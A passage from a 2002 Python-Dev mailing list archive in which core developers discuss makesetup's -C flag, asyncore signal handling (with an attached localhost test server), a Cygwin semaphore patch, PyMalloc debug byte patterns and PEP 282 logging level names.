Setup file the same as the makesetup script.  He's right, but I don't think
the -C option is useful in makesetup at all!

The relevant bit of code in makesetup is:
                        case $arg in
                        -framework)     libs="$libs $arg"; skip=libs;
                                        ;;
                        -[IDUCfF]*)     cpps="$cpps $arg";;
                        -Xlinker)       libs="$libs $arg"; skip=libs;;

'-Cfoo' in a Setup file therefore causes -Cfoo to be added to the list
of compiler flags, but at least in GCC, that doesn't mean anything; -C
indicates that the preprocessor shouldn't strip comments, and it
doesn't take an argument.  (Anyone know what -C does in other
compilers?)

Because of this, I think -C in makesetup has been useless since
revision 1.1 of makesetup (which is 1994 -- Python 1.0.0), so I doubt
anyone has ever used it.  Distutils should do something useful with
it, and IMHO that would be to make '-C cpparg' add 'cpparg' to the
compiler's arguments.  Thoughts?  Should makesetup be fixed to match?

--amk                                                             (www.amk.ca)
The more I know me, the less I like me.
    -- The Doctor, in "Time and the Rani"



From jeremy@zope.com  Sat Mar 23 01:51:35 2002
From: jeremy@zope.com (Jeremy Hylton)
Date: Fri, 22 Mar 2002 20:51:35 -0500
Subject: [Python-Dev] SF bug reminders
Message-ID: <15515.57255.306410.576927@slothrop.zope.com>

I dusted off my SF bug reminder script and ran it tonight.
Unfortunately, I forgot to update the text of the message it sends.
I hope the committers will forgive the silly text about getting things
done before 2.2.

Jeremy



From guido@python.org  Sat Mar 23 02:37:53 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 22 Mar 2002 21:37:53 -0500
Subject: [Python-Dev] -C in Setup files
In-Reply-To: Your message of "Fri, 22 Mar 2002 20:44:41 EST."
 <20020323014440.GA2676@ute.mems-exchange.org>
References: <20020323014440.GA2676@ute.mems-exchange.org>
Message-ID: <200203230237.g2N2brV19865@pcp742651pcs.reston01.va.comcast.net>

> Pete Shinners reported that Distutils doesn't treat the -C option in a
> Setup file the same as the makesetup script.  He's right, but I don't think
> the -C option is useful in makesetup at all!
> 
> The relevant bit of code in makesetup is:
>                         case $arg in
>                         -framework)     libs="$libs $arg"; skip=libs;
>                                         ;;
>                         -[IDUCfF]*)     cpps="$cpps $arg";;
>                         -Xlinker)       libs="$libs $arg"; skip=libs;;
> 
> '-Cfoo' in a Setup file therefore causes -Cfoo to be added to the list
> of compiler flags, but at least in GCC, that doesn't mean anything; -C
> indicates that the preprocessor shouldn't strip comments, and it
> doesn't take an argument.  (Anyone know what -C does in other
> compilers?)

I believe that "don't skip comments" is the traditional meaning.  The
makesetup script is technically doing the right thing here -- $arg
will contain the string "-C" if -C is used correctly, so it will add
"-C" to the list of preprocessor options (which are later passed to
the C compiler).

If you want to be strict and disallow -Cfoo, you could change it to

                        -[IDUfF]*)      cpps="$cpps $arg";;
                        -C)             cpps="$cpps $arg";;

but I'm not sure I see the point.

> Because of this, I think -C in makesetup has been useless since
> revision 1.1 of makesetup (which is 1994 -- Python 1.0.0), so I doubt
> anyone has ever used it.  Distutils should do something useful with
> it, and IMHO that would be to make '-C cpparg' add 'cpparg' to the
> compiler's arguments.  Thoughts?  Should makesetup be fixed to match?

I agree that there's little use for -C, but I don't think makesetup is
incorrect.

I don't understand what you want it to do in Distutils: above, you say
that "-C" doesn't take an argument, so why would you want "-C cpparg"
to add "cpparg" to the compiler arguments?  Is that because you need a
way to transparently pass compiler arguments, and the C in -C can
stand for compiler???

--Guido van Rossum (home page: http://www.python.org/~guido/)


From Carl J.Nobile <cnobile1@twcny.rr.com>  Sat Mar 23 02:56:09 2002
From: Carl J.Nobile <cnobile1@twcny.rr.com> (Carl J. Nobile)
Date: Fri, 22 Mar 2002 21:56:09 -0500 (EST)
Subject: [Python-Dev] Re: asyncore 2.1.1/2.2 incompatibility
In-Reply-To: <20020322182053.GB2122@ute.mems-exchange.org>
Message-ID: <XFMail.20020322215609.cnobile1@twcny.rr.com>

This message is in MIME format
--_=XFMail.1.5.0.Linux:20020322215609:7931=_
Content-Type: text/plain; charset=iso-8859-1

Hi all,

I've created two exceptions that will be raised when either a SIGTERM or SIGHUP
is caught. This seems to have solved the problem as the slightly modified
version of my test server, that I've attached, demonstrates. This is a much
more elegant solution to the problem, but I'm still not so sure that the poll
functions should be ignoring EINTR in the way that they do. I wonder how much
code this has broken?

At a minimum something should be said about how this works and how to handle
signals in the asyncore documentation.

Thanks for all your help.

Carl

On 22-Mar-2002 Andrew Kuchling wrote:
> On Fri, Mar 22, 2002 at 01:05:28PM -0500, Guido van Rossum wrote:
>>> program to re-read its configuration file.  This works in 2.2.1
>>                                                            ^^^^^
>>I presume you mean 2.1.1?  From the CVS log it looks like this has
> 
> 2.1.1 is correct; typo on my part.
> 
>>I think if Carl (who submitted 528295) had created a signal handler
>>that raised an exception (rather than simply return), that would
>>probably have had the desired effect -- but I'm not 100% sure.  If it
>>works, it has the added advantage of working with earlier versions of
>>Python too.  I'd like to hear if this workaround works.  Carl?
> 
> Trying it, it looks like it does, and a quick glance at ceval.c agrees.
> The docs for libsignal don't mention anything about what happens when
> you raise an exception in a signal handler, though, and perhaps they
> should.  
> 
> To sum up, it looks like this isn't a bug, and the test program should
> be raising a RereadConfiguration exception instead of relying on
> details of asyncore's loop.  That also means asyncore doesn't need a
> way to be told to exit its loop, since raising an exception does the
> job nicely and Pythonically.
> 
> --amk                                                            
> (www.amk.ca)
> One has no wish to be devoured by alien monstrosities, even in the
> cause of political progress.
>     -- One of the Tribunal, in "Carnival of Monsters"

------------------------------------------------------------------------
E-Mail: Carl J. Nobile <cnobile1@twcny.rr.com>  Home
E-Mail: Carl J. Nobile <cnobile@AppliedTheory.com>  Work
Date: 22-Mar-2002
Time: 21:45:55
------------------------------------------------------------------------

--_=XFMail.1.5.0.Linux:20020322215609:7931=_
Content-Disposition: attachment; filename="testSockets1.py"
Content-Transfer-Encoding: base64
Content-Description: testSockets1.py
Content-Type: application/octet-stream; name=testSockets1.py; SizeOnDisk=3089

CmltcG9ydCBzaWduYWwsIG9zLCB0eXBlcywgc3lzLCB0aW1lLCB0cmFjZWJhY2sKaW1wb3J0IHNv
Y2tldAppbXBvcnQgc2VsZWN0CmltcG9ydCBhc3luY29yZQppbXBvcnQgYXN5bmNoYXQKZnJvbSBl
cnJubyBpbXBvcnQgKgoKY2xhc3MgU2lnbmFsSHVwRXhjZXB0aW9uKEV4Y2VwdGlvbik6CiAgICBw
YXNzCgpjbGFzcyBTaWduYWxUZXJtRXhjZXB0aW9uKEV4Y2VwdGlvbik6CiAgICBwYXNzCgpjbGFz
cyBUQ1BTb2NrZXQoYXN5bmNvcmUuZGlzcGF0Y2hlcik6CiAgICBkZWYgX19pbml0X18oc2VsZiwg
aG9zdCwgcG9ydCk6CiAgICAgICAgYXN5bmNvcmUuZGlzcGF0Y2hlci5fX2luaXRfXyhzZWxmKQog
ICAgICAgIHNlbGYuY3JlYXRlX3NvY2tldChzb2NrZXQuQUZfSU5FVCwgc29ja2V0LlNPQ0tfU1RS
RUFNKQogICAgICAgIHNlbGYuc2V0X3JldXNlX2FkZHIoKQogICAgICAgIHNlbGYuYmluZCgoaG9z
dCwgcG9ydCkpCiAgICAgICAgc2VsZi5saXN0ZW4oNSkKCiAgICBkZWYgaGFuZGxlX2FjY2VwdChz
ZWxmKToKICAgICAgICBUcmFuc2ZlcihzZWxmLCBzZWxmLmFjY2VwdCgpKQoKICAgIGRlZiBsb2co
c2VsZiwgbWVzc2FnZSk6CiAgICAgICAgcGFzcwoKICAgIGRlZiBzZXRTaWduYWwoc2VsZik6CiAg
ICAgICAgc2lnbmFsLnNpZ25hbChzaWduYWwuU0lHVEVSTSwgc2VsZi5fX3NpZ3Rlcm1IYW5kbGVy
KQogICAgICAgIHNpZ25hbC5zaWduYWwoc2lnbmFsLlNJR0hVUCwgc2VsZi5fX3NpZ2h1cEhhbmRs
ZXIpCgogICAgZGVmIF9fc2lndGVybUhhbmRsZXIoc2VsZiwgc2lnbnVtLCBmcmFtZSk6CiAgICAg
ICAgcmFpc2UgU2lnbmFsVGVybUV4Y2VwdGlvbgoKICAgIGRlZiBfX3NpZ2h1cEhhbmRsZXIoc2Vs
Ziwgc2lnbnVtLCBmcmFtZSk6CiAgICAgICAgcmFpc2UgU2lnbmFsSHVwRXhjZXB0aW9uCgogICAg
ZGVmIHN0YXJ0KHNlbGYpOgogICAgICAgIHdoaWxlIDE6CiAgICAgICAgICAgIHRyeToKICAgICAg
ICAgICAgICAgIGFzeW5jb3JlLmxvb3AodXNlX3BvbGw9MSkKICAgICAgICAgICAgZXhjZXB0IFNp
Z25hbFRlcm1FeGNlcHRpb246CiAgICAgICAgICAgICAgICBzZWxmLmNsb3NlKCkKICAgICAgICAg
ICAgICAgIHJhaXNlIFNpZ25hbFRlcm1FeGNlcHRpb24KICAgICAgICAgICAgZXhjZXB0IFNpZ25h
bEh1cEV4Y2VwdGlvbjoKICAgICAgICAgICAgICAgIHNlbGYuY2xvc2UoKQogICAgICAgICAgICAg
ICAgcmFpc2UgU2lnbmFsSHVwRXhjZXB0aW9uCiAgICAgICAgICAgIGV4Y2VwdCBzZWxlY3QuZXJy
b3I6CiAgICAgICAgICAgICAgICBwYXNzCgpjbGFzcyBUcmFuc2Zlcihhc3luY2hhdC5hc3luY19j
aGF0KToKICAgIF9fY2hhbm5lbF9jb3VudGVyID0gMAoKICAgIGRlZiBfX2luaXRfXyhzZWxmLCBz
ZXJ2ZXI9Tm9uZSwgYmluZGluZz0oTm9uZSwgTm9uZSkpOgogICAgICAgICMgVGhpcyBzZWVtcyBs
aWtlIGEgYnVnIGluIHB5dGhvbiAyLjIsIGJpbmRpbmcgKGEgcmV0dXJuIHZhbHVlCiAgICAgICAg
IyBmcm9tIGFjY2VwdCkgc2hvdWxkIGFsd2F5cyBiZSBhIHR1cGxlLiBUaGlzIGNhdXNlcyBhCiAg
ICAgICAgIyAnd2FybmluZzogdW5oYW5kbGVkIHdyaXRlIGV2ZW50JyBlcnJvci4KICAgICAgICAj
IFJlbW92aW5nIHRoZSBmb2xsb3dpbmcgbGluZSBkaXNwbGF5cyBhbiBlbnRpcmVseSBkaWZmZXJl
bnQgZXJyb3IuCiAgICAgICAgI2lmIHR5cGUoYmluZGluZykgPT0gdHlwZXMuTm9uZVR5cGU6IHJl
dHVybgogICAgICAgIGNvbm4sIGFkZHIgPSBiaW5kaW5nCiAgICAgICAgIyBNYWtlIGNvbm5lY3Rp
b24gdG8gY2xpZW50CiAgICAgICAgYXN5bmNoYXQuYXN5bmNfY2hhdC5fX2luaXRfXyhzZWxmLCBj
b25uKQogICAgICAgIHNlbGYuc2V0X3Rlcm1pbmF0b3IoJ1xuJykKICAgICAgICBzZWxmLnNlcnZl
ciA9IHNlcnZlcgogICAgICAgIHNlbGYuaWQgPSBzZWxmLl9fY2hhbm5lbF9jb3VudGVyCiAgICAg
ICAgc2VsZi5fX2NoYW5uZWxfY291bnRlciArPSAxCiAgICAgICAgc2VsZi5idWZmZXIgPSAnJwoK
ICAgIGRlZiBsb2coc2VsZiwgbWVzc2FnZSk6CiAgICAgICAgcGFzcwoKICAgIGRlZiBjb2xsZWN0
X2luY29taW5nX2RhdGEoc2VsZiwgZGF0YSk6CiAgICAgICAgc2VsZi5idWZmZXIgKz0gZGF0YQog
ICAgICAgICNwcmludCBzZWxmLmJ1ZmZlcgoKICAgIGRlZiBmb3VuZF90ZXJtaW5hdG9yKHNlbGYp
OgogICAgICAgIGRhdGEgPSBzZWxmLmJ1ZmZlcgogICAgICAgIHNlbGYuYnVmZmVyID0gJycKICAg
ICAgICAjcHJpbnQgZGF0YQogICAgICAgIHNlbGYuX19zZXJ2aWNlQ2xpZW50KGRhdGEpCgogICAg
ZGVmIGhhbmRsZV9jbG9zZShzZWxmKToKICAgICAgICBzZWxmLmNsb3NlKCkKCiAgICBkZWYgX19z
ZXJ2aWNlQ2xpZW50KHNlbGYsIGRhdGEpOgogICAgICAgIHByaW50ICdTZXJ2ZXI6ICVzICVpJyAl
KGRhdGEsIGxlbihkYXRhKSkKICAgICAgICBzZWxmLnB1c2goZGF0YSkKCgoKZGVmIGhhbmRsZUVy
cm9yKGV4Y2VwdGlvbik6CiAgICB0eXBlLCB2YWx1ZSwgdGIgPSBleGNlcHRpb24KICAgIHRyYWNl
YmFjay5wcmludF9leGNlcHRpb24odHlwZSwgdmFsdWUsIHRiKQoKCiMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBF
eGVjdXRpb24gc3RhcnRzIGhlcmUuCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKaWYgX19u
YW1lX18gPT0gIl9fbWFpbl9fIjoKICAgIHdoaWxlIDE6CiAgICAgICAgcHJpbnQgIkNvbmZpZyBM
b2FkZWQiCgogICAgICAgIHRyeToKICAgICAgICAgICAgc3J2ID0gVENQU29ja2V0KCdsb2NhbGhv
c3QnLCA1MDAyMCkKICAgICAgICAgICAgc3J2LnNldFNpZ25hbCgpCiAgICAgICAgICAgIHNydi5z
dGFydCgpCiAgICAgICAgZXhjZXB0IFNpZ25hbFRlcm1FeGNlcHRpb246CiAgICAgICAgICAgIGJy
ZWFrCiAgICAgICAgZXhjZXB0IFNpZ25hbEh1cEV4Y2VwdGlvbjoKICAgICAgICAgICAgY29udGlu
dWUKICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgIGhhbmRsZUVycm9yKHN5cy5leGNfaW5mbygp
KQoKICAgIHByaW50ICdLZXlTZXJ2ZXIgaXMgdGVybWluYXRpbmcgb24gU0lHVEVSTS4nCiAgICBz
eXMuZXhpdCgwKQo=

--_=XFMail.1.5.0.Linux:20020322215609:7931=_--
End of MIME message


From akuchlin@mems-exchange.org  Sat Mar 23 02:56:14 2002
From: akuchlin@mems-exchange.org (Andrew Kuchling)
Date: Fri, 22 Mar 2002 21:56:14 -0500
Subject: [Python-Dev] -C in Setup files
In-Reply-To: <200203230237.g2N2brV19865@pcp742651pcs.reston01.va.comcast.net>
References: <20020323014440.GA2676@ute.mems-exchange.org> <200203230237.g2N2brV19865@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <20020323025614.GA6204@ute.mems-exchange.org>

On Fri, Mar 22, 2002 at 09:37:53PM -0500, Guido van Rossum wrote:
>to add "cpparg" to the compiler arguments?  Is that because you need a
>way to transparently pass compiler arguments, and the C in -C can
>stand for compiler???

Yes, this is what Pete is after.  Perhaps he thought -C was the
relevant option because of 'C for compiler', and because Setup.dist
says "<cpparg> is anything starting with -I, -D, -U or -C" in a
comment, which can be taken to imply that -C takes an argument (the
other three options all do).  

Why is -C in makesetup at all?  It only seems relevant when also used
with -E, and makesetup will add -E to the link line, not the compile
line.

Anyway, looking at makesetup, there's no way to add arbitrary switches
for the C compiler.  Maybe add -Xcompiler, by analogy with -Xlinker?

--amk                                                             (www.amk.ca)
  "You're very kind."
  "I am merely civilized."
    -- The Doctor and Monarch, in "Four to Doomsday"


From andymac@bullseye.apana.org.au  Fri Mar 22 23:07:28 2002
From: andymac@bullseye.apana.org.au (Andrew MacIntyre)
Date: Sat, 23 Mar 2002 09:07:28 +1000 (est)
Subject: [Python-Dev] 2.2.1c1 platform reports.
In-Reply-To: <2m4rj825e3.fsf@starship.python.net>
Message-ID: <Pine.OS2.4.32.0203230906040.1231-100000@tenring>

On 22 Mar 2002, Michael Hudson wrote:

> I crunched through the various platform experiences I'd heard for
> 2.2.1c1, and came up with the following.  Can anyone fill in some
> gaps, add comments or dig into some of the mentioned problems?  Things
> are looking fairly good, but reports from AIX-land in particular are
> making my head spin like a top.

Sorry, I've not had time to look at this for the OS/2-EMX build; maybe
tonight.

--
Andrew I MacIntyre                     "These thoughts are mine alone..."
E-mail: andymac@bullseye.apana.org.au  | Snail: PO Box 370
        andymac@pcug.org.au            |        Belconnen  ACT  2616
Web:    http://www.andymac.org/        |        Australia



From guido@python.org  Sat Mar 23 03:29:59 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 22 Mar 2002 22:29:59 -0500
Subject: [Python-Dev] -C in Setup files
In-Reply-To: Your message of "Fri, 22 Mar 2002 21:56:14 EST."
 <20020323025614.GA6204@ute.mems-exchange.org>
References: <20020323014440.GA2676@ute.mems-exchange.org> <200203230237.g2N2brV19865@pcp742651pcs.reston01.va.comcast.net>
 <20020323025614.GA6204@ute.mems-exchange.org>
Message-ID: <200203230329.g2N3TxI20032@pcp742651pcs.reston01.va.comcast.net>

> On Fri, Mar 22, 2002 at 09:37:53PM -0500, Guido van Rossum wrote:
> >to add "cpparg" to the compiler arguments?  Is that because you need a
> >way to transparently pass compiler arguments, and the C in -C can
> >stand for compiler???
> 
> Yes, this is what Pete is after.  Perhaps he thought -C was the
> relevant option because of 'C for compiler', and because Setup.dist
> says "<cpparg> is anything starting with -I, -D, -U or -C" in a
> comment, which can be taken to imply that -C takes an argument (the
> other three options all do).  

I think -C is not a good choice, since it *does* represent a cc option
with a long history, even if it's not particularly useful.
(Amazingly, compilations with -C mostly just work -- the backend
parser has its own comment stripper, which normally isn't used because
it's more efficient to strip them in the preprocessor.  At least
that's what I remember from aeons ago.)

> Why is -C in makesetup at all?

Probably just because it was one of the 4 CPP options I knew when I
wrote makesetup 1.1.  I don't expect anybody has ever used it.

> It only seems relevant when also used with -E, and makesetup will
> add -E to the link line, not the compile line.

But that doesn't make sense, because makesetup is creating Make rules
that create .o files (and .so files, after *shared*), and -E doesn't
create a .o file.  I think the inclusion of -E in the linker options
is merely an artefact from the rule that passes most uppercase options
to the linker (the case -[A-Zl]* appeared in rev. 1.5, in 1994).  All
this is hopelessly heuristic and has lots of gray areas where it's
unclear what was intended.

> Anyway, looking at makesetup, there's no way to add arbitrary switches
> for the C compiler.  Maybe add -Xcompiler, by analogy with -Xlinker?

Sounds good.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From goodger@users.sourceforge.net  Sat Mar 23 04:24:50 2002
From: goodger@users.sourceforge.net (David Goodger)
Date: Fri, 22 Mar 2002 23:24:50 -0500
Subject: [Python-Dev] PEP 282: "FATAL" a misnomer
Message-ID: <B8C16DC1.204A2%goodger@users.sourceforge.net>

One thing I've found uncomfortable in the PEP (& log4j spec) was the
"FATAL" name for the highest logging level.  I think it's a misnomer
and should be renamed.  "FATAL" implies death, which in Python implies
a raised and uncaught exception, traceback, and exit.  If the logging
module enforces such an outcome from a FATAL-level log entry, that
would make sense, but I don't think that's the case (nor should it be,
at least not invariably).

In the logging class I wrote [#]_, I used the term "SEVERE".  Paul
Svensson mentions "CRITICAL" in his system.  I think either one of
these expresses the intrinsic meaning better (a bad error, worse than
"ERROR", ignored at peril), without the misleading connotations of
"FATAL".

So, how about renaming "FATAL" to "SEVERE" or "CRITICAL"?

.. [#] The "Reporter" class in http://docstring.sf.net/dps/utils.py;
   with copious documentation in docstrings.  Also, this class *does*
   support raising exceptions via an 'errorlevel' exception threshold.
   I've mentioned it before; please check it out!

-- 
David Goodger    goodger@users.sourceforge.net    Open-source projects:
 - Python Docstring Processing System: http://docstring.sourceforge.net
 - reStructuredText: http://structuredtext.sourceforge.net
 - The Go Tools Project: http://gotools.sourceforge.net



From Zooko <zooko@zooko.com>  Sat Mar 23 14:09:27 2002
From: Zooko <zooko@zooko.com> (Zooko)
Date: Sat, 23 Mar 2002 06:09:27 -0800
Subject: [Python-Dev] asyncore 2.1.1/2.2 incompatibility
In-Reply-To: Message from Guido van Rossum <guido@python.org>
 of "Fri, 22 Mar 2002 13:05:28 EST." <200203221805.g2MI5SL12642@pcp742651pcs.reston01.va.comcast.net>
References: <E16oT8J-0000YB-00@ute.mems-exchange.org>  <200203221805.g2MI5SL12642@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <E16omDC-000660-00@imp>

[add Cc: taral@taral.net, the author of an alternative to asyncore.py]

 GvR wrote:
>
> I think a way to tell asyncore to exit its loop on the next iteration
> is still a good idea, but as it's a feature, I don't think it should
> be added to any revision before 2.3.

When we used asyncore in Mojo Nation, we ended up writing a wrapper around it.  
Here's the source:

http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/pyutil/pyutil/pyutilasync.py?rev=HEAD&content-type=text/vnd.viewcvs-markup

When this happens, I think it's worth examining if some of the functionality of 
the wrapper deserve to be in the standard library.  In particular, we added a 
way to tell asyncore to exit after the next select returns and is processed.

We also added a way to trigger the current select from a different thread so 
that our newly ready writer could get started.  We also added a simple FIFO 
event queue for arbitrary functions to be invoked from the asyncore thread.  

BTW, I intend to try an alternative to asyncore.py, written by taral@taral.net 
if I have time to experiment with it.  This alternative uses an interface in 
which the higher-level code registers and unregisters, instead of the asyncore 
interface in which the lower level code polls the higher level asking "Now are 
you ready?  Now are you ready?".  This change will hopefully eliminate the last 
performance hotspot in my comms code as identified by profiling.

(It will also, I think, clear the way for an implementation of the async module 
which uses nice new async I/O like FreeBSD's kqueue for excellent performance.)

Regards,

Zooko

---
                 zooko.com
Security and Distributed Systems Engineering
---


From jason@tishler.net  Sat Mar 23 16:08:23 2002
From: jason@tishler.net (Jason Tishler)
Date: Sat, 23 Mar 2002 11:08:23 -0500
Subject: [Python-Dev] RE: POSIX thread code and Cygwin
In-Reply-To: <LNBBLJKPBEHFEDALKOLCMEOCOGAA.tim@zope.com>
References: <GBEGLOMMCLDACBPKDIHFEEINCHAA.gsw@agere.com>
 <LNBBLJKPBEHFEDALKOLCMEOCOGAA.tim@zope.com>
Message-ID: <20020323160823.GB1696@tishler.net>

--Boundary_(ID_j4yM6P+PRN7238IAK+OX5w)
Content-type: text/plain; charset=us-ascii
Content-transfer-encoding: 7BIT
Content-disposition: inline

Jerry,

On Fri, Mar 22, 2002 at 04:16:30PM -0500, Tim Peters wrote:
> [Gerald S. Williams]
> > I submitted another patch to the POSIX threads code.
> > It is under SourceForge as patch number 533681.
> >
> > [snip]

After I saw your patch, I got started thinking...

> I don't understand.  If Cygwin requires _rtems_ in order that
> _POSIX_SEMAPHORES be defined, then either Cygwin has a bug here, or Cygwin
> *needs* _rtems_ if you want to use real-time gimmicks like semaphores.  In
> either case, I don't think it's Python's place to second-guess the Cygwin
> team:  report it as a bug to Cygwin, or do whatever they recommend to get
> _rtems_ defined in the Cygwin build.

I agree with Tim (and Martin) that this is a Cygwin (i.e., newlib)
issue and should not be "fixed" or worked around in Python.  Would you
be willing to submit the attached (untested) patch to newlib after giving
it a spin?

I think that Rob Collins forgot to add this missing #define when he
implemented Cygwin semaphore support.  If you wish, I can post to
cygwin-developers to verify.

Thanks,
Jason

--Boundary_(ID_j4yM6P+PRN7238IAK+OX5w)
Content-type: text/plain; charset=us-ascii; NAME=features.h.diff
Content-transfer-encoding: 7BIT
Content-disposition: attachment; filename=features.h.diff

Index: features.h
===================================================================
RCS file: /cvs/src/src/newlib/libc/include/sys/features.h,v
retrieving revision 1.3
diff -c -C10 -r1.3 features.h
*** features.h	2001/04/12 00:05:57	1.3
--- features.h	2002/03/23 15:53:32
***************
*** 79,94 ****
--- 79,95 ----
  
  #ifdef __CYGWIN__
  # define _POSIX_JOB_CONTROL	1
  # define _POSIX_SAVED_IDS	0
  # define _POSIX_VERSION		199009L
  # define _POSIX_THREADS                          1
  # define _POSIX_THREAD_PROCESS_SHARED            1
  # define _POSIX_THREAD_SAFE_FUNCTIONS            1
  # define _POSIX_THREAD_PRIORITY_SCHEDULING       1
  # define _POSIX_THREAD_ATTR_STACKSIZE            1
+ # define _POSIX_SEMAPHORES                       1
  #endif
  
  #ifdef __cplusplus
  }
  #endif
  #endif /* _SYS_FEATURES_H */

--Boundary_(ID_j4yM6P+PRN7238IAK+OX5w)--


From taral@taral.net  Sat Mar 23 17:15:18 2002
From: taral@taral.net (Taral)
Date: Sat, 23 Mar 2002 11:15:18 -0600
Subject: [Python-Dev] asyncore 2.1.1/2.2 incompatibility
In-Reply-To: <E16omDC-000660-00@imp>
References: <E16oT8J-0000YB-00@ute.mems-exchange.org> <200203221805.g2MI5SL12642@pcp742651pcs.reston01.va.comcast.net> <E16omDC-000660-00@imp>
Message-ID: <20020323171518.GB8032@taral.net>

--mojUlQ0s9EVzWg2t
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Sat, Mar 23, 2002 at 06:09:27AM -0800, Zooko wrote:
> BTW, I intend to try an alternative to asyncore.py, written by
> taral@taral.net if I have time to experiment with it.  This
> alternative uses an interface in which the higher-level code registers
> and unregisters, instead of the asyncore interface in which the lower
> level code polls the higher level asking "Now are you ready?  Now are
> you ready?".  This change will hopefully eliminate the last
> performance hotspot in my comms code as identified by profiling.

Note that the current "correct" way to cause a program to exit from
async.run() is to throw an exception that you catch outside, e.g.:

try:
    async.run()
except MyException:
    pass

=2E..

def some_async_handler(...):
    blah, blah
    if something:
        throw MyException()
    and so on.

--=20
Taral <taral@taral.net>
This message is digitally signed. Please PGP encrypt mail to me.
"Pretty please with dollars on top?" -- Me

--mojUlQ0s9EVzWg2t
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iEYEARECAAYFAjycuCUACgkQoQQF8xCPwJQy8wCeNFYKdoT+kgH607Q642BGx8sj
atEAn0eOBwhAD5fp1jfcmb0CeVZesM5Y
=EKLx
-----END PGP SIGNATURE-----

--mojUlQ0s9EVzWg2t--


From aahz@pythoncraft.com  Sat Mar 23 21:05:45 2002
From: aahz@pythoncraft.com (Aahz)
Date: Sat, 23 Mar 2002 16:05:45 -0500
Subject: [Python-Dev] Debug entry points for PyMalloc
In-Reply-To: <LNBBLJKPBEHFEDALKOLCKEGFOGAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCKEGFOGAA.tim.one@comcast.net>
Message-ID: <20020323210545.GA22083@panix.com>

On Thu, Mar 21, 2002, Tim Peters wrote:
>
> + Define three special bit patterns.  In hex, they all end with B
>   (for deBug <wink>), and begin with a vaguely mnemonic letter.
>   Strings of these are unlikely to be legit memory addresses, ints,
>   7-bit ASCII, or floats:
> 
> #define PYMALLOC_CLEANBYTE      0xCB    /* uninitialized memory */
> #define PYMALLOC_DEADBYTE       0xDB    /* free()ed memory */
> #define PYMALLOC_FORBIDDENBYTE  0xFB    /* unusable memory */
> 
>   The debug malloc/free/realloc use these as follows.  Note that this
>   stuff is done regardless of whether PyMalloc handles the request
>   directly or passes it on to the platform malloc (in fact, the debug
>   entry points won't know and won't care).
> 
> + The Debug malloc asks for 16 extra bytes and fills them with
>   useful stuff:

I'm almost certainly betraying my ignorance here, but it sounds to me
like malloc isn't doing any sanity checking to make sure that the memory
it received isn't already being used.  Should each PyDebugMalloc() walk
through the list of used memory?
-- 
Aahz (aahz@pythoncraft.com)           <*>         http://www.pythoncraft.com/

"We should forget about small efficiencies, about 97% of the time.
Premature optimization is the root of all evil."  --Knuth


From skip@pobox.com  Sat Mar 23 21:44:49 2002
From: skip@pobox.com (Skip Montanaro)
Date: Sat, 23 Mar 2002 15:44:49 -0600
Subject: [Python-Dev] Debug entry points for PyMalloc
In-Reply-To: <20020323210545.GA22083@panix.com>
References: <LNBBLJKPBEHFEDALKOLCKEGFOGAA.tim.one@comcast.net>
 <20020323210545.GA22083@panix.com>
Message-ID: <15516.63313.739692.685535@12-248-41-177.client.attbi.com>

    >> #define PYMALLOC_CLEANBYTE      0xCB    /* uninitialized memory */
    >> #define PYMALLOC_DEADBYTE       0xDB    /* free()ed memory */
    >> #define PYMALLOC_FORBIDDENBYTE  0xFB    /* unusable memory */
    >> 
    >> The debug malloc/free/realloc use these as follows.  Note that this
    >> stuff is done regardless of whether PyMalloc handles the request
    >> directly or passes it on to the platform malloc (in fact, the debug
    >> entry points won't know and won't care).

Any possibility that the __LINE__ or __FILE__:__LINE__ at which a chunk of
memory was freed could be imprinted as ASCII in freed memory without
changing the API?  I'd find something like

    <0340><0340><0340><0340><0340>

or

    <object.c:0340><object.c:0340>

more useful than a string of 

    0xDB0xDB0xDB0xDB0xDB0xDB0xDB0xDB

bytes.  I did something similar in a small single-file library I've been
working on, though I didn't pay much attention to preserving the malloc/free
API because, like I said, it was something small.  I simply changed all
free() calls to something like

    MARK_TERRITORY(s, strlen(s), __LINE__);
    free(s);

(The second arg was appropriate to the size of the memory chunk being
freed.)

Skip



From fdrake@acm.org  Sat Mar 23 22:24:21 2002
From: fdrake@acm.org (Fred L. Drake)
Date: Sat, 23 Mar 2002 17:24:21 -0500 (EST)
Subject: [Python-Dev] [development doc updates]
Message-ID: <20020323222421.8D11C28696@beowolf.fdrake.net>

The development version of the documentation has been updated:

    http://python.sourceforge.net/csstest-docs/

This is a test version of some style changes.  The changes are
localized to the navigation areas (I hope!), and probably only work
for the browsers with the most-compliant CSS2 implementations.

I've tested this with Mozilla 0.9.9 and MSIE 6 -- and it only worked
in Mozilla.  This isn't going to be usable until more browsers support
the CSS needed to make this work, but I've never seen this done
without frames before now (though I've played with the idea several
times over the last couple of years).

If you can't tell what the changes are, visit a page that needs to be
scrolled to see the whole thing, and try scrolling it!

Comments are welcome; send to python-docs@python.org.


From Jack.Jansen@oratrix.com  Sat Mar 23 23:25:44 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Sun, 24 Mar 2002 00:25:44 +0100
Subject: [Python-Dev] PEP 278 - finished?
Message-ID: <4C43A7EF-3EB5-11D6-899A-003065517236@oratrix.com>

As far as I know I've addressed all outstanding issues in PEP 
278, http://python.sourceforge.net/peps/pep-0278.html and in the 
accompanying patch.
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From tim.one@comcast.net  Sat Mar 23 23:59:59 2002
From: tim.one@comcast.net (Tim Peters)
